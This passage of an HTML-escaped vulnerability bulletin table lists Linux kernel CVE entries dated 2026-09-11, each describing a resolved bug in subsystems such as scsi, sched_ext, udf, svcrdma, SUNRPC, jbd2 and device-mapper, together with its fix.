&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89512&quot; target=&quot;_blank&quot;&gt;CVE-2026-89512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: fnic: Use GFP_ATOMIC for VLAN alloc under spinlock fnic_fcoe_process_vlan_resp() allocates a VLAN descriptor with kzalloc_obj() (default GFP_KERNEL) while holding vlans_lock via spin_lock_irqsave(). GFP_KERNEL may sleep, which is not allowed in this atomic context and can trigger a sleeping-from-invalid-context warning or deadlock. Pass GFP_ATOMIC so the allocation is safe under the IRQ-safe spinlock.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89514&quot; target=&quot;_blank&quot;&gt;CVE-2026-89514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: core: Fill in DMA padding bytes in scsi_alloc_sgtables() During fuzz testing, the following issue was discovered: BUG: KMSAN: uninit-value in __dma_map_sg_attrs+0x217/0x310 __dma_map_sg_attrs+0x217/0x310 dma_map_sg_attrs+0x4a/0x70 ata_qc_issue+0x9f8/0x1420 __ata_scsi_queuecmd+0x1657/0x1740 ata_scsi_queuecmd+0x79a/0x920 scsi_queue_rq+0x4472/0x4f40 blk_mq_dispatch_rq_list+0x1cca/0x3ee0 __blk_mq_sched_dispatch_requests+0x458/0x630 blk_mq_sched_dispatch_requests+0x15b/0x340 __blk_mq_run_hw_queue+0xe5/0x250 __blk_mq_delay_run_hw_queue+0x138/0x780 blk_mq_run_hw_queue+0x4bb/0x7e0 blk_mq_sched_insert_request+0x2a7/0x4c0 blk_execute_rq+0x497/0x8a0 sg_io+0xbe0/0xe20 scsi_ioctl+0x2b36/0x3c60 sr_block_ioctl+0x319/0x440 blkdev_ioctl+0x80f/0xd70 __se_sys_ioctl+0x219/0x420 __x64_sys_ioctl+0x93/0xe0 x64_sys_call+0x1d6c/0x3ad0 do_syscall_64+0x4c/0xa0 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Uninit was created at: __alloc_pages+0x5c0/0xc80 alloc_pages+0xe0e/0x1050 blk_rq_map_user_iov+0x2b77/0x6100 blk_rq_map_user_io+0x2fa/0x4d0 sg_io+0xad6/0xe20 scsi_ioctl+0x2b36/0x3c60 sr_block_ioctl+0x319/0x440 blkdev_ioctl+0x80f/0xd70 __se_sys_ioctl+0x219/0x420 __x64_sys_ioctl+0x93/0xe0 x64_sys_call+0x1d6c/0x3ad0 do_syscall_64+0x4c/0xa0 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Bytes 14-15 of 16 are uninitialized Memory access of size 16 starts at ffff88800cbdb000 When processing the last unaligned element of the scatterlist, it is supplemented with missing bytes in the amount of pad_len. These bytes remain uninitialized, which leads to a problem. Extend last_sg-&amp;gt;length by pad_len first, then use sg_zero_buffer() to zero those pad_len bytes. sg_zero_buffer() uses sg_miter internally, which correctly handles sg entries spanning multiple pages and padding that crosses a page boundary. Found by Linux Verification Center (linuxtesting.org) with Syzkaller.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89515&quot; target=&quot;_blank&quot;&gt;CVE-2026-89515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched_ext: Don&#039;t BUG_ON a destroyed DSQ in process_deferred_reenq_users scx_bpf_dsq_reenq() queues a deferred reenq (dru) that runs from run_deferred(), not ops.dispatch(). If the DSQ is destroyed before the dru runs, process_deferred_reenq_users() sees dsq-&amp;gt;id == SCX_DSQ_INVALID and hits the BUG_ON. destroy_dsq() doesn&#039;t flush pending drus, so just skip. tj: Read dsq-&amp;gt;id once with READ_ONCE(). Reading it separately in the INVALID check and the BUG_ON would leave a window where destroy_dsq() can invalidate the id between the two reads and still trigger the BUG_ON.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89516&quot; target=&quot;_blank&quot;&gt;CVE-2026-89516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched_ext: Fix rq-&amp;gt;core_pick corruption under core scheduling Core scheduling&#039;s pick_next_task() picks what to run on every SMT sibling of the core in a single pass under the shared core-wide rq lock. The selection state is consistent only while the lock is held continuously, so -&amp;gt;pick_task() originally could not release it. However, since 4c95380701f5 (&quot;sched/ext: Fold balance_scx() into pick_task_scx()&quot;), sched_ext runs dispatch from inside the pick and dispatching can drop the rq lock. To support this, pick_next_task() has been updated to restart the whole selection when a pick returns RETRY_TASK after releasing the lock. When selections on the same core interleave through the dropped lock, they corrupt each other&#039;s state: one clears the other&#039;s rq-&amp;gt;core_pick leading to a NULL deref, or invalidates its keep-the-previous-task decision leaving a dequeued task running, which deadlocks the next wakeup and matches the reported hard hangs. A cookied ping-pong load on an SMT machine makes the interleavings frequent and kills the kernel within seconds. Fix it by making the pick return RETRY_TASK whenever dispatch released the rq lock, so that a selection only ever commits picks made under a continuously held lock. The previous patch&#039;s rq-&amp;gt;scx.lock_drop_seq counts the releases. A dispatch that touched nothing never releases the lock and its verdict, including &quot;nothing to run&quot;, stands: retries are bounded, each following a dispatch that actually did something, and an idle CPU does not loop. If another dispatch is already in flight on the rq, skip dispatching and pick from what is already queued locally - the in-flight dispatch has released the lock, so its own selection will retry and re-pick this rq, while returning RETRY_TASK here would only spin on the lock that dispatch needs to finish. Balance callbacks must run in the context that queued them, so they can only be queued on the CPU&#039;s own rq. When dispatching for another rq, run the deferred work directly instead - that rq may consume all its picks through the core-sched fast path and never queue the callback itself. The put_prev_task_scx() warning about a runnable task being left behind assumed that dispatch ran as part of the very pick that is switching away. That now only holds on the non-core path, so gate it and drop the cookie-match test, which is always true without core scheduling, from its condition.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89517&quot; target=&quot;_blank&quot;&gt;CVE-2026-89517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched_ext: Fix this_rq() assumptions in dispatch kfuncs Under core scheduling, dispatch runs from within the core-wide pick and can target a sibling rq, so ops.dispatch() may execute on a CPU different from the dispatched rq&#039;s. Several kfunc paths assumed the two always coincide: - scx_dsq_move() decided whether an rq lock is held by testing this_rq()&#039;s rq flags and lock-danced accordingly. A dispatch for a sibling took the unlocked-context branch and acquired the source rq lock on top of the already held dispatched rq lock which could deadlock. - scx_bpf_sub_dispatch() dispatched this_rq() with its stashed sub_dispatch_prev, which is NULL when dispatching for a sibling. - finish_dispatch(), scx_bpf_dsq_reenq() and scx_bpf_dsq_nr_queued() resolved SCX_DSQ_LOCAL to this CPU&#039;s local DSQ rather than the dispatched rq&#039;s. The latter two are callable from other rq-locked operations too, where SCX_DSQ_LOCAL now likewise resolves to the op&#039;s rq. This changes behavior also without core scheduling, e.g. for ops.enqueue() running a remote wakeup on the waking CPU, and is intended: which CPU happens to execute an operation is incidental, the op&#039;s rq is what it is operating on, and the resolution now matches the insert side where SCX_DSQ_LOCAL dispatches land on the task&#039;s rq. Use the rq tracked by scx_locked_rq(), which is set to the dispatched rq around ops invocations and NULL in unlocked contexts.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89518&quot; target=&quot;_blank&quot;&gt;CVE-2026-89518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched_ext: Replace SCX_RQ_BAL_KEEP with a dispatch verdict return SCX_RQ_BAL_KEEP tells the pick to keep running the previous task, a leftover from when balancing and picking were separate operations. An rq-level flag only works while dispatches and picks pair up one to one, which core scheduling breaks: selections interleave through dispatch&#039;s lock drops and a pick can consume a stale flag, keeping a task that has since been dequeued. Fixing core scheduling support requires the decision to travel with the dispatch that made it. Make scx_dispatch_sched() and balance_one() return an explicit verdict instead and drop the flag&#039;s plumbing from the tools autogen enum headers. Also factor the pick-side invocation, its follow-up queueing and the post-dispatch checks out of do_pick_task_scx() into dispatch_pick(). No functional changes intended. v2: Drop the SCX_RQ_BAL_KEEP plumbing from the tools autogen enum headers as well (Andrea).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89519&quot; target=&quot;_blank&quot;&gt;CVE-2026-89519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: udf: reject VAT indexes equal to the entry count UDF 1.50 virtual partition mapping uses the VAT as an array of physical block mappings. s_num_entries stores the number of entries in that array, not the highest valid index. The valid VAT indexes are therefore below s_num_entries. udf_get_pblock_virt15() currently rejects only indexes greater than s_num_entries. A crafted image can request index s_num_entries, pass the bounds check, and make the kernel read one entry past the allocated VAT table. Change the check to reject block &amp;gt;= s_num_entries, so the count is handled as an exclusive upper bound. A crafted UDF image reproduced this on origin/master commit 0e35b9b6ec0ffcc5e23cbdec09f5c622ad532b53 with a KASAN slab-out-of-bounds report in udf_get_pblock_virt15(). Trail of Bits has a reproducer that triggers kernel panic demonstrating the bug, and can share it if needed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89525&quot; target=&quot;_blank&quot;&gt;CVE-2026-89525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Use svc_xprt_put to free listener on create failure svc_rdma_create() calls kfree(cma_xprt) when svc_rdma_create_listen_id() fails. svc_xprt_init() has already acquired a net namespace reference via get_net_track(); kfree bypasses svc_xprt_free() which releases it. Replace the kfree() with svc_xprt_put() so the kref_init birth reference drops to zero and svc_xprt_free() dispatches svc_rdma_free() to clean up properly. sc_cm_id is still NULL at that point; the preceding patch added the necessary NULL guard in svc_rdma_free(). svc_xprt_free() also drops the module reference via module_put(), but the caller _svc_xprt_create() does the same on xpo_create failure, double-putting the single try_module_get() it acquired. Take a compensating __module_get() before the svc_xprt_put() to keep the count balanced, matching the convention in svc_rdma_accept()&#039;s error path.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89527&quot; target=&quot;_blank&quot;&gt;CVE-2026-89527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject oversized Read segments at decode time The RPC/RDMA Read list decoder stores wire-supplied segment lengths without validation. xdr_count_read_segments() checks 4-byte alignment for non-zero position values but does not cap the segment length. An oversized rs_length reaches svc_rdma_build_read_segment(), which derives nr_bvec from it and can drive a large dynamic bvec allocation before verifying that enough rq_pages remain. If the post-allocation page-overrun guard fires, the freshly acquired rw context is not returned, leaking the resource. Reject any segment whose length exceeds the receive context&#039;s page budget during Read list decoding, consistent with how xdr_check_write_chunk() bounds Write segment counts against rc_maxpages. Also return the rw context on the existing post-allocation overrun path in svc_rdma_build_read_segment(), keeping that defensive guard balanced.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89529&quot; target=&quot;_blank&quot;&gt;CVE-2026-89529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject connection when transport allocation fails handle_connect_req() returns without action when svc_rdma_create_xprt() fails to allocate the new transport. The CM core returns 0 for CONNECT_REQUEST events, so it does not destroy the new rdma_cm_id. Each allocation failure under memory pressure leaks one rdma_cm_id, and a remote peer driving connection attempts can amplify this. Reject the connection by returning a non-zero status from the CM event handler, which tells the CM core to destroy the orphaned cm_id.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89531&quot; target=&quot;_blank&quot;&gt;CVE-2026-89531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: reject duplicate CREDS_VALUE options gssx_dec_option_array() walks the wire-supplied option array and, for every entry whose name matches CREDS_VALUE, calls gssx_dec_linux_creds() on the same struct svc_cred. That helper unconditionally installs a fresh groups_alloc() result into creds-&amp;gt;cr_group_info without releasing whatever pointer was already there: for (i = 0; i &amp;lt; count; i++) { ... decode name ... if (length == sizeof(CREDS_VALUE) &amp;amp;&amp;amp; memcmp(p, CREDS_VALUE, sizeof(CREDS_VALUE)) == 0) { err = gssx_dec_linux_creds(xdr, creds); ... } } A reply that carries two CREDS_VALUE entries therefore overwrites cr_group_info on the second iteration and orphans the group_info allocated by the first call. The earlier free_creds path only releases the last cr_group_info via free_svc_cred(), so the first allocation&#039;s refcount stays at one and its kvmalloc-backed storage is leaked. No in-tree caller of gssp_accept_sec_context_upcall() expects more than one CREDS_VALUE per reply. Fix by tracking whether a CREDS_VALUE option has already been decoded and returning -EINVAL on any subsequent match, so the free_creds path releases the single group_info that was installed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89539&quot; target=&quot;_blank&quot;&gt;CVE-2026-89539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sunrpc: fix use-after-free in __rpc_clnt_handle_event and __rpc_clnt_remove_pipedir Normal client creation goes through rpc_setup_pipedir(), which records clnt-&amp;gt;pipefs_sb, but the mount-event path in __rpc_clnt_handle_event() calls rpc_setup_pipedir_sb() directly and never refreshes that field. The umount path also removes the directory without clearing clnt-&amp;gt;pipefs_sb. After a late pipefs mount or any remount, rpc_clnt_remove_pipedir() compares the current superblock against a stale pipefs_sb pointer and skips cleanup, leaving pipefs dentries whose inode private data still points at a freed rpc_clnt, leading to a potential use-after-free during subsequent rpc_info_open() or rpc_show_info() calls. Fix this by properly updating clnt-&amp;gt;pipefs_sb upon mount events and clearing it during unmount or failure paths.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89543&quot; target=&quot;_blank&quot;&gt;CVE-2026-89543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: params: fix charp corruption on allocation failure param_set_charp() stores charp parameters in allocated memory after slab is available, and releases the previous value when the parameter is updated. The previous value is released before the replacement allocation succeeds. If kmalloc_parameter() fails, the setter returns -ENOMEM with the parameter left as NULL. Failing zswap&#039;s compressor update before zswap is initialized can later trigger: BUG: kernel NULL pointer dereference, address: 0000000000000000 RIP: 0010:strcmp+0x10/0x30 Call Trace: zswap_setup+0x3b1/0x490 zswap_enabled_param_set+0x5b/0xa0 param_attr_store+0x93/0xe0 module_attr_store+0x1c/0x30 kernfs_fop_write_iter+0x116/0x1f0 Allocate and copy the replacement first, then replace the parameter value only after allocation succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89552&quot; target=&quot;_blank&quot;&gt;CVE-2026-89552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: module: validate string table section types In elf_validity_cache_sechdrs, section sizes and offsets are validated, unless the section type is SHT_NULL or SHT_NOBITS. Later, elf_validity_cache_secstrings and elf_validity_cache_index_str access the section name table (.shstrtab) and symbol string table (.strtab) headers without first ensuring that their types are SHT_STRTAB. If a section type is SHT_NULL or SHT_NOBITS, sh_offset has not been validated and may reference out-of-bounds memory when dereferenced in elf_validity_cache_secstrings or elf_validity_cache_strtab. Validate that both string section headers are of type SHT_STRTAB before caching them.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89556&quot; target=&quot;_blank&quot;&gt;CVE-2026-89556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipip: fix skb leak in collect_md mode when metadata_dst allocation fails In collect_md mode ipip_tunnel_rcv() returns 0 without freeing the skb when ip_tun_rx_dst() fails to allocate the metadata_dst. ipip_rcv() and mplsip_rcv() are registered as xfrm_tunnel handlers, so tunnel4_rcv() and tunnelmpls4_rcv() read the zero return as &quot;the packet has been consumed&quot; and do not free it either. The skb is leaked. The other tunnel drivers all dispose of the packet at this point: ip6_tunnel.c jumps to its drop label, ip_gre.c and ip6_gre.c return PACKET_REJECT, which makes gre_rcv() free the skb. Only ipip returns 0. Jump to the existing drop label instead. It frees the skb and still returns 0, so the packet keeps being reported as consumed, which is what we want here: the outer header has already been pulled, and neither the remaining handlers nor an ICMP unreachable have any use for it. Triggering this needs an ipip or mplsip tunnel in collect_md mode and an atomic allocation failure, which is why it has gone unnoticed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89565&quot; target=&quot;_blank&quot;&gt;CVE-2026-89565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: jbd2: check need_resched() when skipping busy checkpoint buffers journal_shrink_one_cp_list() skips busy checkpoint buffers when called with JBD2_SHRINK_BUSY_SKIP. The continue statement on this path also skips the need_resched() check at the end of the loop body. Consequently, when a checkpoint list contains mostly busy buffers, the shrinker can walk the entire list while holding journal-&amp;gt;j_list_lock, even when a reschedule has been requested. Large checkpoint lists under memory pressure can therefore cause long lock hold times and leave other CPUs spinning on j_list_lock, resulting in soft lockups or RCU stalls. Route the busy-buffer path through the need_resched() check so that the shrinker can release j_list_lock and reschedule promptly, restoring parity with the clean-buffer path, which already checks need_resched(). This does not change which checkpoint buffers are eligible for removal.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89566&quot; target=&quot;_blank&quot;&gt;CVE-2026-89566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: jbd2: bound shrinker scans by examined checkpoint buffers The jbd2 shrinker currently accounts only checkpoint buffers that it successfully releases against nr_to_scan. Busy buffers therefore do not consume the scan budget. If a checkpoint transaction contains mostly busy buffers, the shrinker can scan its entire checkpoint list while holding journal-&amp;gt;j_list_lock. Large checkpoint lists can result in excessive lock hold times and leave other CPUs spinning on j_list_lock, causing soft lockups or RCU stalls. Pass nr_to_scan into journal_shrink_one_cp_list() and decrement it for every buffer examined, including busy buffers. Pass NULL from checkpoint cleanup paths so their existing full-list behavior is preserved. This restores the scan-budget semantics that existed before journal_shrink_one_cp_list() was changed to always scan a complete checkpoint list.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89567&quot; target=&quot;_blank&quot;&gt;CVE-2026-89567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: kho: fix size calculation in kho_preserved_memory_reserve() kho_preserved_memory_reserve() calculates the size of a preservation by doing 1 &amp;lt;&amp;lt; (order + PAGE_SHIFT). Since the &#039;1&#039; is a 32-bit integer, it can only be shifted by 31. That is, it will only work for preservations up to 2 GiB. Larger preservations will trigger undefined behaviour. While preservations larger than 2 GiB can&#039;t be obtained via folios currently, they can be obtained via kho_preserve_pages(). For example, memblock reserve_mem uses kho_preserve_pages(). Reservations larger than 2 GiB are valid and will trigger this bug if properly aligned. Fix it by using 1UL for shifting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89568&quot; target=&quot;_blank&quot;&gt;CVE-2026-89568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpufreq: apple-soc: Fix OPP table cleanup apple_soc_cpufreq_init() adds OPP tables from firmware, but some failure paths do not remove them. The driver also uses dev_pm_opp_remove_all_dynamic(), which is not the right cleanup helper for OPP tables loaded from firmware. Use the cpumask OPP helper after the policy CPU mask has been populated. Pair it with the matching cpumask remove helper on failure paths and in apple_soc_cpufreq_exit(). This also removes the separate dev_pm_opp_set_sharing_cpus() call, as the cpumask helper loads the DT OPP tables for all CPUs in the policy.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89572&quot; target=&quot;_blank&quot;&gt;CVE-2026-89572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm raid1: reserve space for NUL-terminator in build_constructor_string() Reserve space for the termination NUL after the maximum 20 decimal digits of a long long value to avoid buffer overflow in sprintf().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89575&quot; target=&quot;_blank&quot;&gt;CVE-2026-89575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-era: fix shadowed superblock leak on take-snap failure metadata_take_snap() bumps the live superblock refcount and then dm_tm_shadow_block() allocates a new block for the metadata snapshot. If the subsequent dm_sm_inc_block() of writeset_tree_root or era_array_root fails, the function only unlocks the clone and returns. The newly allocated shadow block is never returned to the metadata space map, so each failed take-snap permanently leaks one metadata block. Free the clone with dm_sm_dec_block() on those error paths, matching the final step of metadata_drop_snap().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89576&quot; target=&quot;_blank&quot;&gt;CVE-2026-89576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-io: report non-retryable errors separatedly The error codes BLK_STS_NOTSUPP and BLK_STS_INVAL should not cause leg failure on dm-raid1. This patch changes the interface to dm-io, so that it reports two error bitmaps - error_bits and unsup_bits. The unsup_bit bitmap tracks BLK_STS_NOTSUPP or BLK_STS_INVAL errors, the error_bits bitmap tracks all the other errors. dm-raid1 is changed so that it won&#039;t fail a leg if it receives an error in the unsup_bits bitmap. This patch (with 62dc37a819a5) fixes misbehavior if the user uses unaligned bio vectors on dm-raid1.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89577&quot; target=&quot;_blank&quot;&gt;CVE-2026-89577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-io: clone the source bio instead of copying its biovec For DM_IO_BIO requests, do_region() built each destination bio by walking the source bio&#039;s biovec and re-adding the pages one at a time, tracking the remaining transfer in sectors. The vector lengths are byte granular and need not be sector aligned (e.g. a misaligned O_DIRECT buffer split across pages), so the sector-based accounting could lose a sub-sector fragment: to_sector() truncated the remainder and the outer loop spun forever submitting empty bios, hanging the I/O. There is no need to rebuild the biovec at all. The destination reads into (or writes from) exactly the same pages as the source bio, so the bio can simply clone the source&#039;s biovec with bio_alloc_clone() and remap it to the target device. The clone inherits the source&#039;s iterator and alignment, and the block layer splits it to the target&#039;s limits on submission, so the whole region maps to a single cloned bio with no manual page copying or sector accounting. This removes the per-page copy path (and its open-coded bvec dpages helpers) for bio-backed I/O and fixes the hang on misaligned direct I/O to a dm-mirror device. Page-list, vma and kmem sources keep the existing copy path.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89578&quot; target=&quot;_blank&quot;&gt;CVE-2026-89578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnx2x: fix double free in bnx2x_init_firmware() error path bnx2x_init_firmware() frees bp-&amp;gt;init_ops, bp-&amp;gt;init_data and bp-&amp;gt;init_ops_offsets in its error path without setting them to NULL. The cleanup function bnx2x_release_firmware() frees the same three pointers unconditionally, so if init_firmware fails and release_firmware is later called (e.g. from __bnx2x_remove or through the function state machine), all three are freed a second time. Set each pointer to NULL after kfree() in the error path so that the subsequent kfree(NULL) in bnx2x_release_firmware() is a safe no-op.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
